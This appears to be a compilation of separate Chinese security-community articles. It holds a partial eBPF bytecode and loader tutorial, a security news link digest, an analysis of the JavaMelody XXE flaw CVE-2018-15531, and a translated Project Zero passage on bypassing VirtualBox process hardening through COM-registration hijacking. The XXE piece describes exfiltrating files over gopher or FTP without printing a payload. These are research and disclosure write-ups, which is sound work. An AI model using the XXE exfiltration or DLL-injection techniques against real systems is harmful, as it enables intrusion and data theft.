__u8 src_reg:4; /* 源寄存器 source register */
__s16 off; /* 有符号的偏移 signed offset */
__s32 imm; /* 有符号的立即数 signed immediate constant */
};
### ALU指令: 64-bit
操作对象为64位
操作码 | 助记符 | 伪代码
---|---|---
0x07 | add dst, imm | dst += imm
0x0f | add dst, src | dst += src
0x17 | sub dst, imm | dst -= imm
0x1f | sub dst, src | dst -= src
0x27 | mul dst, imm | dst *= imm
0x2f | mul dst, src | dst *= src
0x37 | div dst, imm | dst /= imm
0x3f | div dst, src | dst /= src
0x47 | or dst, imm | dst
0x4f | or dst, src | dst
0x57 | and dst, imm | dst &= imm
0x5f | and dst, src | dst &= src
0x67 | lsh dst, imm | dst <<= imm
0x6f | lsh dst, src | dst <<= src
0x77 | rsh dst, imm | dst >>= imm (logical)
0x7f | rsh dst, src | dst >>= src (logical)
0x87 | neg dst | dst = -dst
0x97 | mod dst, imm | dst %= imm
0x9f | mod dst, src | dst %= src
0xa7 | xor dst, imm | dst ^= imm
0xaf | xor dst, src | dst ^= src
0xb7 | mov dst, imm | dst = imm
0xbf | mov dst, src | dst = src
0xc7 | arsh dst, imm | dst >>= imm (arithmetic)
0xcf | arsh dst, src | dst >>= src (arithmetic)
### ALU指令:32-bit
这些操作码只使用了他们操作数的低32位, 并且用0初始化目标寄存器的高32位(操作对象是32位)
操作码 | 助记符 | 伪代码
---|---|---
0x04 | add32 dst, imm | dst += imm
0x0c | add32 dst, src | dst += src
0x14 | sub32 dst, imm | dst -= imm
0x1c | sub32 dst, src | dst -= src
0x24 | mul32 dst, imm | dst *= imm
0x2c | mul32 dst, src | dst *= src
0x34 | div32 dst, imm | dst /= imm
0x3c | div32 dst, src | dst /= src
0x44 | or32 dst, imm | dst
0x4c | or32 dst, src | dst
0x54 | and32 dst, imm | dst &= imm
0x5c | and32 dst, src | dst &= src
0x64 | lsh32 dst, imm | dst <<= imm
0x6c | lsh32 dst, src | dst <<= src
0x74 | rsh32 dst, imm | dst >>= imm (logical)
0x7c | rsh32 dst, src | dst >>= src (logical)
0x84 | neg32 dst | dst = -dst
0x94 | mod32 dst, imm | dst %= imm
0x9c | mod32 dst, src | dst %= src
0xa4 | xor32 dst, imm | dst ^= imm
0xac | xor32 dst, src | dst ^= src
0xb4 | mov32 dst, imm | dst = imm
0xbc | mov32 dst, src | dst = src
0xc4 | arsh32 dst, imm | dst >>= imm (arithmetic)
0xcc | arsh32 dst, src | dst >>= src (arithmetic)
### 字节交换指令
操作码 | 助记符 | 伪代码
---|---|---
0xd4 (imm == 16) | le16 dst | dst = htole16(dst)
0xd4 (imm == 32) | le32 dst | dst = htole32(dst)
0xd4 (imm == 64) | le64 dst | dst = htole64(dst)
0xdc (imm == 16) | be16 dst | dst = htobe16(dst)
0xdc (imm == 32) | be32 dst | dst = htobe32(dst)
0xdc (imm == 64) | be64 dst | dst = htobe64(dst)
### 内存指令
操作码 | 助记符 | 伪代码
---|---|---
0x18 | lddw dst, imm | dst = imm
0x20 | ldabsw src, dst, imm | See kernel documentation
0x28 | ldabsh src, dst, imm | …
0x30 | ldabsb src, dst, imm | …
0x38 | ldabsdw src, dst, imm | …
0x40 | ldindw src, dst, imm | …
0x48 | ldindh src, dst, imm | …
0x50 | ldindb src, dst, imm | …
0x58 | ldinddw src, dst, imm | …
0x61 | ldxw dst, [src+off] | dst = _(uint32_t_ ) (src + off)
0x69 | ldxh dst, [src+off] | dst = _(uint16_t_ ) (src + off)
0x71 | ldxb dst, [src+off] | dst = _(uint8_t_ ) (src + off)
0x79 | ldxdw dst, [src+off] | dst = _(uint64_t_ ) (src + off)
0x62 | stw [dst+off], imm | _(uint32_t_ ) (dst + off) = imm
0x6a | sth [dst+off], imm | _(uint16_t_ ) (dst + off) = imm
0x72 | stb [dst+off], imm | _(uint8_t_ ) (dst + off) = imm
0x7a | stdw [dst+off], imm | _(uint64_t_ ) (dst + off) = imm
0x63 | stxw [dst+off], src | _(uint32_t_ ) (dst + off) = src
0x6b | stxh [dst+off], src | _(uint16_t_ ) (dst + off) = src
0x73 | stxb [dst+off], src | _(uint8_t_ ) (dst + off) = src
0x7b | stxdw [dst+off], src | _(uint64_t_ ) (dst + off) = src
### 分支指令
操作码 | 助记符 | 伪代码
---|---|---
0x05 | ja +off | PC += off
0x15 | jeq dst, imm, +off | PC += off if dst == imm
0x1d | jeq dst, src, +off | PC += off if dst == src
0x25 | jgt dst, imm, +off | PC += off if dst > imm
0x2d | jgt dst, src, +off | PC += off if dst > src
0x35 | jge dst, imm, +off | PC += off if dst >= imm
0x3d | jge dst, src, +off | PC += off if dst >= src
0xa5 | jlt dst, imm, +off | PC += off if dst < imm
0xad | jlt dst, src, +off | PC += off if dst < src
0xb5 | jle dst, imm, +off | PC += off if dst <= imm
0xbd | jle dst, src, +off | PC += off if dst <= src
0x45 | jset dst, imm, +off | PC += off if dst & imm
0x4d | jset dst, src, +off | PC += off if dst & src
0x55 | jne dst, imm, +off | PC += off if dst != imm
0x5d | jne dst, src, +off | PC += off if dst != src
0x65 | jsgt dst, imm, +off | PC += off if dst > imm (signed)
0x6d | jsgt dst, src, +off | PC += off if dst > src (signed)
0x75 | jsge dst, imm, +off | PC += off if dst >= imm (signed)
0x7d | jsge dst, src, +off | PC += off if dst >= src (signed)
0xc5 | jslt dst, imm, +off | PC += off if dst < imm (signed)
0xcd | jslt dst, src, +off | PC += off if dst < src (signed)
0xd5 | jsle dst, imm, +off | PC += off if dst <= imm (signed)
0xdd | jsle dst, src, +off | PC += off if dst <= src (signed)
0x85 | call imm | Function call
0x95 | exit | return r0
<https://github.com/iovisor/bpf-docs/blob/master/eBPF.md>
## 汇编编写eBPF程序
根据上表我们可以直接写eBPF字节码
struct bpf_insn bpf_prog[] = {
{ 0xb7, 0, 0, 0, 0x123 }, // mov r0, 0x123
{ 0xb7, 1, 0, 0, 0x456 }, // mov r1, 0x456
{ 0x0F, 0, 1, 0, 0 }, // add r0, r1
{ 0x95, 0, 0, 0, 0x0 }, // exit
};
利用上一章说过的方法加载BPF程序, 验证器输出的日志如下, 表示已经接受了此程序
用字节码很不直观, 我们可以通过对初始化`struct bpf_insn`进行一个包裹, 以方便编写, 不明白的话可以对照上面的指令编码
首先进行指令类型sc的定义, 表示指令属于那个大类
#define BPF_CLASS(code) ((code) & 0x07) //指令种类为指令操作码的低3bit
#define BPF_ALU64 0x07 /* 操作64位对象的ALU指令种类 */
#define BPF_JMP 0x05 //跳转指令类别
接着进行操作码op部分的定义, 这部分表示具体是哪个操作码, 也就是指令要干什么
#define BPF_OP(code) ((code) & 0xf0) //操作数为操作码的高4bit
#define BPF_MOV 0xb0 /* 把寄存器移动到寄存器 */
#define BPF_ADD 0x00 //加法操作
#define BPF_EXIT 0x90 /* 从函数中返回 */
对于ALU与JMP指令的操作码, 还有1bit的s需要定义, 表示操作的来源
#define BPF_SRC(code) ((code) & 0x08) //只占用第4bit一个bit
#define BPF_K 0x00 //源操作数是立即数, 立即数的值在imm中表示
#define BPF_X 0x08 //源操作数是寄存器,具体是哪一个寄存器在src字段表示
下一步对于寄存器进行定义, 就是用枚举类型对`r0~r10`从`0~10`进行编码
enum {
BPF_REG_0 = 0,
BPF_REG_1,
BPF_REG_2,
BPF_REG_3,
BPF_REG_4,
BPF_REG_5,
BPF_REG_6,
BPF_REG_7,
BPF_REG_8,
BPF_REG_9,
BPF_REG_10,
__MAX_BPF_REG,
};
基本元素都有了之后就可组合为表示指令的宏
/*
给寄存器赋值, mov DST, IMM
操作码: BPF_ALU64 | BPF_MOV表示要进行赋值操作, BPF_K表示要源是立即数IMM
*/
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
/*
两个寄存器之间的ALU运算指令: OP DST, SRC;
OP可以是加减乘除..., DST SRC表示是那个寄存器
操作码: BPF_ALU64|BPF_OP(OP)表示执行什么ALU64操作, BPF_X表示源操作数是寄存器
*/
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
/*
退出指令: exit
操作码: BPF_JMP|BPF_EXIT表示要进行跳转指令类比中的退出指令
*/
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
借用以上宏定义, 我们可以不用令人困惑的常数重新编写这个eBPF程序, 效果与之前一样
struct bpf_insn bpf_prog[] = {
BPF_MOV64_IMM(BPF_REG_0, 0x123), //{ 0xb7, 0, 0, 0, 0x123 }, mov r0, 0x123
BPF_MOV64_IMM(BPF_REG_1, 0x456), //{ 0xb7, 1, 0, 0, 0x456 }, mov r1, 0x456
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), //{ 0x0F, 0, 1, 0, 0 }, add r0, r1
BPF_EXIT_INSN() //{ 0x95, 0, 0, 0, 0x0 } exit
};
实际上, 在`#include <linux/bpf.h>`中含有指令操作码等常数的定义,
在内核的源码目录`samples/bpf/bpf_insn.h`就含有上述指令的宏定义, 而且更全面, 我们只要把此文件与源码放在同一目录,
然后`#include "./bpf_insn.h"`就可以直接使用这些宏来定义eBPF指令的字节码
## C编写eBPF指令
还是一样的程序, 我们换成C写, 由于gcc不支持编译BPF程序, 因此要用clang或者llvm来编译, `-target
bpf`表示编译为eBPF字节码, `-c`表示编译为目标文件即可, 因为eBPF是没有入口点的, 没法编译为可执行文件. 转换过程: `C---llvm--->eBPF---JIT--->本机指令`
//clang -target bpf -c ./prog.c -o ./prog.o
unsigned long prog(void){
unsigned long a=0x123;
unsigned long b=0x456;
return a+b;
}
编译出来的目标文件是ELF格式, 通过readelf可以看到最终编译出的字节码
objdump不支持反汇编eBPF, 可以使用`llvm-objdump`对字节码进行反编译, r10是栈指针, `*(u32 *)(r10-4) =
r1`是在向栈中写入局部变量, 整体结构与之前用汇编写的类似
如果想要执行eBPF字节码的话需要先从ELF格式的目标文件中提取.text段, 利用`llvm-objcopy`可以做到
如何从elf中提取指定段<https://stackoverflow.com/questions/3925075/how-to-extract-only-the-raw-contents-of-an-elf-section>
之后编写一个加载器负责从`prog.text`中读入字节码, 放入缓冲区中, 然后使用`BPF_PROG_LOAD`命令进行bpf系统调用,
从而把字节码注入内核, 加载器代码如下, 整体与之前类似. 不明白的可以看前一篇文章
//gcc ./loader.c -o loader
#include <stdio.h>
#include <stdlib.h> //为了exit()函数
#include <stdint.h> //为了uint64_t等标准类型的定义
#include <errno.h> //为了错误处理
#include <linux/bpf.h> //位于/usr/include/linux/bpf.h, 包含BPF系统调用的一些常量, 以及一些结构体的定义
#include <sys/syscall.h> //为了syscall()
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//用于保存BPF验证器的输出日志
#define LOG_BUF_SIZE 0x1000
char bpf_log_buf[LOG_BUF_SIZE];
//通过系统调用, 向内核加载一段BPF指令
int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license)
{
union bpf_attr attr = {
.prog_type = type, //程序类型
.insns = ptr_to_u64(insns), //指向指令数组的指针
.insn_cnt = insn_cnt, //有多少条指令
.license = ptr_to_u64(license), //指向整数字符串的指针
.log_buf = ptr_to_u64(bpf_log_buf), //log输出缓冲区
.log_size = LOG_BUF_SIZE, //log缓冲区大小
.log_level = 2, //log等级
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
//BPF程序就是一个bpf_insn数组, 一个struct bpf_insn代表一条bpf指令
struct bpf_insn bpf_prog[0x100];
int main(int argc, char **argv){
//用法 loader <保存字节码的文件> <字节码长度, 字节为单位>
//读入文件中的内容到bpf_prog数组中
int text_len = atoi(argv[2]);
int file = open(argv[1], O_RDONLY);
if(read(file, (void *)bpf_prog, text_len)<0){
perror("read prog fail");
exit(-1);
}
close(file);
//加载执行
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, bpf_prog, text_len/sizeof(bpf_prog[0]), "GPL");
if(prog_fd<0){
perror("BPF load prog");
exit(-1);
}
printf("prog_fd: %d\n", prog_fd);
printf("%s\n", bpf_log_buf); //输出程序日志
}
clang编译出9条指令, 一个72字节, 使用命令`./loader ./prog.text 72`执行的结果如下 | 社区文章 |
# 1月30日安全热点 - Snort签名报告/ATM头奖攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Talos发布2017 Snort签名分析报告
<http://blog.talosintelligence.com/2018/01/2017-in-snort-signatures.html>
ATM头奖攻击首次袭击美国
<http://www.zdnet.com/article/atm-jackpotting-reaches-us-shores/>
Strava的“匿名”健身追踪数据如何泄漏了政府机密
http://www.zdnet.com/article/strava-anonymized-fitness-tracking-data-government-opsec/
GandCrab勒索软件功能分析
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
Dridex银行木马和FriedEx勒索软件竟是由同一组织开发
> [Dridex banking Trojan and the FriedEx ransomware were developed by the same
> group](http://securityaffairs.co/wordpress/68390/breaking-news/friedex-> ransomware-dridex.html)
## 技术类
2017 年度安全报告——供应链攻击
[https://cert.360.cn/static/files/2017%E5%B9%B4%E5%BA%A6%E5%AE%89%E5%85%A8%E6%8A%A5%E5%91%8A–%E4%BE%9B%E5%BA%94%E9%93%BE.pdf](https://cert.360.cn/static/files/2017%E5%B9%B4%E5%BA%A6%E5%AE%89%E5%85%A8%E6%8A%A5%E5%91%8A--%E4%BE%9B%E5%BA%94%E9%93%BE.pdf)
Equation Group泄露工具之vBulletin无文件后门分析
<https://paper.seebug.org/517/>
微软公式编辑器系列漏洞分析(一):CVE-2017-11882
<https://paper.seebug.org/516/>
Chromium:内存泄漏
<https://www.viva64.com/en/b/0555/#ID0ERGAC>
使用libPeConv解包恶意软件（Pykspa案例研究）
[Unpacking a malware with libPeConv (Pykspa case
study)](https://hshrzd.wordpress.com/2018/01/29/unpacking-a-malware-with-libpeconv-pykspa-case-study/)
逆向分析恶意软件- Burpsuite Keygen
<https://0x00sec.org/t/malware-reversing-burpsuite-keygen/5167>
DCShadow解释：深入了解最新的AD攻击技术
<https://blog.alsid.eu/dcshadow-explained-4510f52fc19d>
分析：一个恶意网站是如何偷走400万美元的
https://thatoddmailbox.github.io/2018/01/28/iotaseed.html
VERMIN：在乌克兰使用的RAT和自定义恶意软件
> [VERMIN: Quasar RAT and Custom Malware Used In
> Ukraine](https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-> quasar-rat-custom-malware-used-ukraine/)
Cisco发布自适应安全设备远程执行代码和拒绝服务漏洞
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1>
谁动了我的金矿：深扒黑产挖矿进阶之路
<https://www.leiphone.com/news/201801/GLmAX9VzPhN17cpr.html>
你的剪切板被强制复制
<https://www.xxwhite.com/2018/Clipboard.html>
软路由实现流量拦截
<http://oddboy.cn/2018/01/Traffic-Interception-By-Soft-Router/>
在野恶意软件技术：虚拟机，仿真，调试器，沙箱检测
[https://github.com/LordNoteworthy/al-khaser](https://github.com/LordNoteworthy/al-khaser?utm_source=securitydailynews.com)
一键绕过App签名验证
<https://github.com/xxxyanchenxxx/SigKill> | 社区文章 |
作者：EnsecTeam
公众号：[EnsecTeam](https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q "EnsecTeam")
### 0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
### 0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问 http://127.0.0.1/monitoring 出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
### 0x02 漏洞细节
我们先来看一下官方的补丁代码：<https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353>
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中：
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
在该方法中直接调用了XMLStreamReader对XML进行了解析，并没有对外部实体解析以及dtd解析进行限制，因此出现了XXE漏洞。
### 0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
因此，如果在生产环境部署使用了JavaMelody，那就需要自行配置基础认证或者编写代码来限制其访问权限。
### 0x04 参考
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15531>
* <https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353>
* * * | 社区文章 |
# 【技术分享】如何绕过Windows上的VirtualBox进程保护机制
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero.blogspot.hk
原文地址：<https://googleprojectzero.blogspot.hk/2017/08/bypassing-virtualbox-process-hardening.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
Windows上的进程属于一种安全的对象，可以阻止已登录Windows主机的某个用户危害其他用户的进程。至少从非管理员的用户角度来看，这是一种非常重要的安全特性。在这种安全特性下，非管理员用户无法破坏任何进程的完整性。然而，这种安全屏障在针对管理员、特别是具有调试（Debug）权限的管理员时会显得捉襟见肘，因为启用这种权限后，管理员就可以无视进程拥有的安全属性，打开任意进程。
在某些情况下，应用程序或者操作系统希望能够保护进程免受用户的影响，这些用户包括管理员用户，甚至在某些情况下，包括当前进程对应的具有完全访问权限的同一个用户。因此，许多解决方案使用了内核支持的（kernel
support）特性来实现这种保护机制。在大多数情况下，这种实现方案仍然会存在缺陷，我们可以利用这些缺陷来突破“受保护”的进程。
在本文中，我们会介绍Oracle的VirtualBox在进程保护方面的具体实现方法，也会详细介绍如何通过三种方法绕过这种保护机制，将任意代码注入到进程中（这三种方法目前已被修复）。本文所展示的技术同样可以应用在类似的进程“保护”机制上。
**二、Oracle VirtualBox进程防护机制**
****
想在用户模式下完全实现进程的保护几乎是不可能的一件事情，现在有很多方法可以将数据注入到某个进程中。特别是当你想要保护的进程正运行在你想要阻止的用户的上下文环境中时，进程保护更加难以实现。比如，攻击者可以使用
**PROCESS_CREATE_THREAD** 访问权限打开某个进程的句柄，然后直接插入一个新的线程，或者攻击者可以使用
**THREAD_SETCON_TEXT** 访问权限打开进程中的线程，然后直接修改指令指针（Instruction
Pointer）以跳转到任意地址，这些都是直接的攻击方式。攻击者也可以修改进程所处的注册表或者环境，强迫进程加载任意COM对象或者[Windows挂钩](https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990\(v=vs.85\).aspx)（Hook）。攻击者能够做的修改操作可以说是不胜枚举的。
因此，VirtualBox（VBOX）借用了内核的帮助来保护它的进程。这种保护机制在源代码中对应的是 **进程加固** （Process
Hardening）技术。VBOX会尝试保护进程免受当前所属的同一用户的影响。我们可以在[源代码注释](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/SUPR3HardenedMain.cpp?rev=67954#L29)中找到详细的解释以及技术概述。在这段注释的开头部分详细描述了VBOX内核驱动方面的保护机制，VBOX内核驱动中包含大量方法，这些方法可以用来突破内核或者至少可以用来提升权限。这也是为什么VBOX要去保护其进程免受当前用户的修改，因为如果用户可以访问VBOX内核驱动，那么就可以以此为据点，获取内核或系统权限。虽然某些进程保护机制也会阻止管理员控制当前进程，但这并不是进程加固代码的目标。
我的同事Jann从设备访问角度开展研究，在Linux系统的VBOX驱动及保护机制上发现过[许多](https://bugs.chromium.org/p/project-zero/issues/detail?id=1091)[问题](https://bugs.chromium.org/p/project-zero/issues/detail?id=1141)。在Linux上，VBOX限制了只有 **root** 才能访问VBOX驱动，然后利用
**SUID**
二进制程序赋予VBOX用户进程访问驱动的权限。VBOX驱动在Windows系统没有使用SUID程序，而是使用内核API来尝试阻止用户以及管理员打开受保护的进程，阻止他们注入代码。
内核组件的核心位于[ **SupportwinSUPDrv-win.cpp**](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPDrv-win.cpp?rev=67954)文件中。这段代码注册了Windows内核支持的两种回调机制：
1、[ **PsSetCreateProcessNotifyRoutineEx**](https://msdn.microsoft.com/en-us/library/windows/hardware/ff559953\(v=vs.85\).aspx)。当新进程创建时，驱动就会得到通知。
2、[ **ObRegisterCallback**](https://msdn.microsoft.com/en-us/library/windows/hardware/ff558692\(v=vs.85\).aspx)。当进程以及线程句柄创建或者复制时，驱动就会得到通知。
从 **PsSetCreateProcessNotifyRoutineEx**
发出的通知可以用来配置新创建进程的保护结构。随后，当进程尝试打开VBOX驱动的句柄时，加固机制会调用[
**supHardenedWinVerifyProcess**](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPHardenedVerifyProcess-win.cpp?rev=67954#L2420)函数，确保如下验证步骤通过后才允许相应的访问动作：
1、确保没有调试器附加到进程上。
2、确保进程中只有一个线程，并且该线程是打开驱动的唯一线程，以避免出现进程内竞争（in-process races）问题。
3、确保除了一小部分允许的DLL之外，没有其他可执行的内存页面。
4、验证所有已加载的DLL的签名。
5、验证主执行文件的签名，确保该文件为允许的执行文件类型（如VirtualBox.exe）。
VBOX将自定义运行时代码编译到驱动中，依靠这部分代码完成内核中的签名校验工作。这个过程中，只有很少一部分可信根（Trusted
Roots）才能通过校验，主要包括微软的操作系统及代码签名（Authenticode）证书，以及用来签名所有VBOX程序的Oracle证书。你可以在官方的[代码仓库](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/Certificates?rev=67954)中找到可信的证书列表。
ObRegisterCallback通知用来限制系统上其他用户进程对被保护进程的访问权限范围。ObRegisterCallback
API主要是针对反病毒服务设计，以避免反病毒进程被恶意代码注入或者终止。VBOX使用了类似的方法，限制受保护进程的句柄只能具备如下访问权限：
PROCESS_TERMINATE
PROCESSVMREAD
PROCESSQUERYINFORMATION
PROCESSQUERYLIMITED_INFORMATION
PROCESSSUSPENDRESUME
DELETE
READ_CONTROL
SYNCHRONIZE
这些访问权限可以赋予用户通常需要的大多数权限，比如他们可以读取内存、同步进程以及结束进程，然而他们无法将新的代码注入到进程中。类似地，用户对线程的访问权限也被限制在如下范围，以阻止对线程上下文的修改或其他类似攻击：
THREAD_TERMINATE
THREADGETCONTEXT
THREADQUERYINFORMATION
THREADQUERYLIMITED_INFORMATION
DELETE
READ_CONTROL
SYNCHRONIZE
为了证实这一点，我们可以打开VirtualBox的进程或者其中某个线程，查看我们获得的访问权限。我们获得的有关进程以及线程的访问权限如下图高亮部分所示。
虽然内核回调能够阻止对进程的直接修改，也能阻止用户在进程启动时破坏进程的完整性，然而内核回调对运行时的DLL注入攻击（如通过COM实现的DLL注入）显得有点乏力。进程加固机制需要确定哪些模块可以被载入到进程中。对可载入模块的筛选主要是通过Authenticode代码签名来实现。
现在已经有一些方法可以确保只加载经过微软签名的二进制文件（比如[
**PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY**](https://msdn.microsoft.com/en-us/library/windows/desktop/mt706242\(v=vs.85\).aspx)方法），然而，这种策略不是特别灵活。因此，受保护的VBOX进程会安装一些钩子（hook），hook用户模式下的几个内部函数，以验证将要载入内存的DLL的完整性。被hook的函数为：
[LdrLoadDll](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrLoadDll.html)。调用该函数来将DLL加载到内存中
[NtCreateSection](https://msdn.microsoft.com/en-us/library/windows/hardware/ff566428\(v=vs.85\).aspx)。调用该函数来为磁盘上的PE文件创建一个Image
Section对象。
[LdrRegisterDllNotification](https://msdn.microsoft.com/en-us/library/dd347461\(v=vs.85\).aspx)。这是一个准官方支持的回调函数，当新的DLL被加载或卸载时，该函数就会通知应用程序相关事件。
这些钩子扩大了可被加载的经过签名的DLL的范围。由于内核中只包含Oracle以及微软代码，因此可以通过签名验证，能够用来引导进程。然而，当运行某个较为特别的应用时（VirtualBox.exe显然是个特别的应用），我们可能就需要加载第三方签名的代码（比如GPU驱动）。由于这些钩子位于用户模式下，因此程序可以很方便地调用系统的[WinVerifyTrust](https://msdn.microsoft.com/en-us/library/windows/desktop/aa388208\(v=vs.85\).aspx)
API函数，使用系统证书库来验证证书链，也可以验证使用[Catalog](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/catalog-files)（.cat）文件签名的那些文件。
如果正在加载的某个DLL无法满足VBOX预期的签名标准，那么用户模式下的钩子就会拒绝加载这个DLL。VBOX仍然没有完全信任该用户，WinVerifyTrust会将证书链接回用户的CA证书中的根证书。然而，VBOX只会信任系统的CA证书。由于非管理员用户无法将新的可信根证书添加到系统的CA证书列表中，因此使用这种方法就可以大大限制恶意DLL的注入攻击。
当然，你可以使用合法的经过认证的签名证书，这样应该就能被程序信任，但一般情况下恶意代码不会走这条路。即使代码经过签名，加载程序同样会验证这个DLL文件是否属于TrustedInstaller用户所有。这个验证过程由[supHardNtViCheckIsOwnedByTrustedInstallerOrSimilar](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPHardenedVerifyImage-win.cpp?rev=67954#L454)来实现。除了自己以外，普通用户无法将文件的所有者改成其他人，因此这样就能限制加载任意签名文件可能造成的危害。
VBOX代码中的确存在一个函数（[supR3HardenedWinIsDesiredRootCA](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPHardenedVerifyImage-win.cpp?rev=67954#L1901)），可以限制哪些证书能够成为根证书。在官方发行版中，虽然这个函数中与CA白名单有关的代码已经被注释掉，然而却存在一个黑名单列表，只要你的公司名不叫做“[U.S.
Robots and Mechanical Men,
Inc](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPHardenedVerifyImage-win.cpp?rev=67954#L2016)”，那么这个黑名单就不会影响到你。
即使存在这些保护机制，对管理员而言，进程仍然处于不安全的状态。虽然管理员无法绕过打开进程时存在的安全限制条件，但是他们可以在本地主机中安装一个Trusted
Root CA证书，签名一个DLL文件，设置DLL文件的所有者然后强制加载该DLL。这种方法可以绕过镜像验证机制，将镜像加载到经过验证的VBOX进程中。
稍微总结一下，VBOX加固机制尝试提供如下几种保护措施：
1、确保在受保护程序初始化过程中，没有任何代码可以插入进来。
2、阻止用户进程打开受保护进程或线程的“可写”句柄，因为这种句柄可以实现任意代码注入。
3、阻止不可信DLL通过常见的加载方法（如COM）进行注入。
整个保护过程很有可能会存在一些bug或者没考虑到的边缘情况。这个过程中，有这么多不同的验证检查操作，这些检查必须全部满足。因此，假如我们不想申请一个合法的代码签名证书，我们也不具备管理员权限，那么这种情况下，我们要如何才能实现在受保护VBOX进程中运行任意代码？我们会重点关注第三种保护措施，因为这可能是所有保护措施中最为复杂的一种，因此很有可能存在最多的问题。
**三、利用COM注册中的信任链（Chain-of-Trust）**
****
我想介绍的第一个[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1103)为
**CVE-2017-3563** 漏洞，这个漏洞在VBOX 5.0.38/5.1.20版本中被修复。该漏洞利用了DLL加载中存在的信任链（chain-of-trust）问题，诱导VBOX加载经过微软签名的DLL，最终实现不可信任意的代码执行。
如果运行[ **Process Monitor**](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)来观察受保护的VBOX进程，你会发现该进程使用了COM，更具体来说，该进程使用了在
**VBoxC.dll** COM服务器中实现的VirtualBoxClient类。
从攻击者的角度来看，COM服务器注册最有用的地方，在于COM对象的注册操作可以在两个地方完成，即用户的注册表中或者本地主机（local
machine）注册表中。出于兼容性方面的考虑，系统会优先查找用户的注册表，然后再查找本地主机注册表。因此，在普通用户权限下，攻击者可以覆盖COM注册操作，此时当某个应用程序试图加载指定的COM对象时，就会加载我们刚刚覆盖的任意DLL。
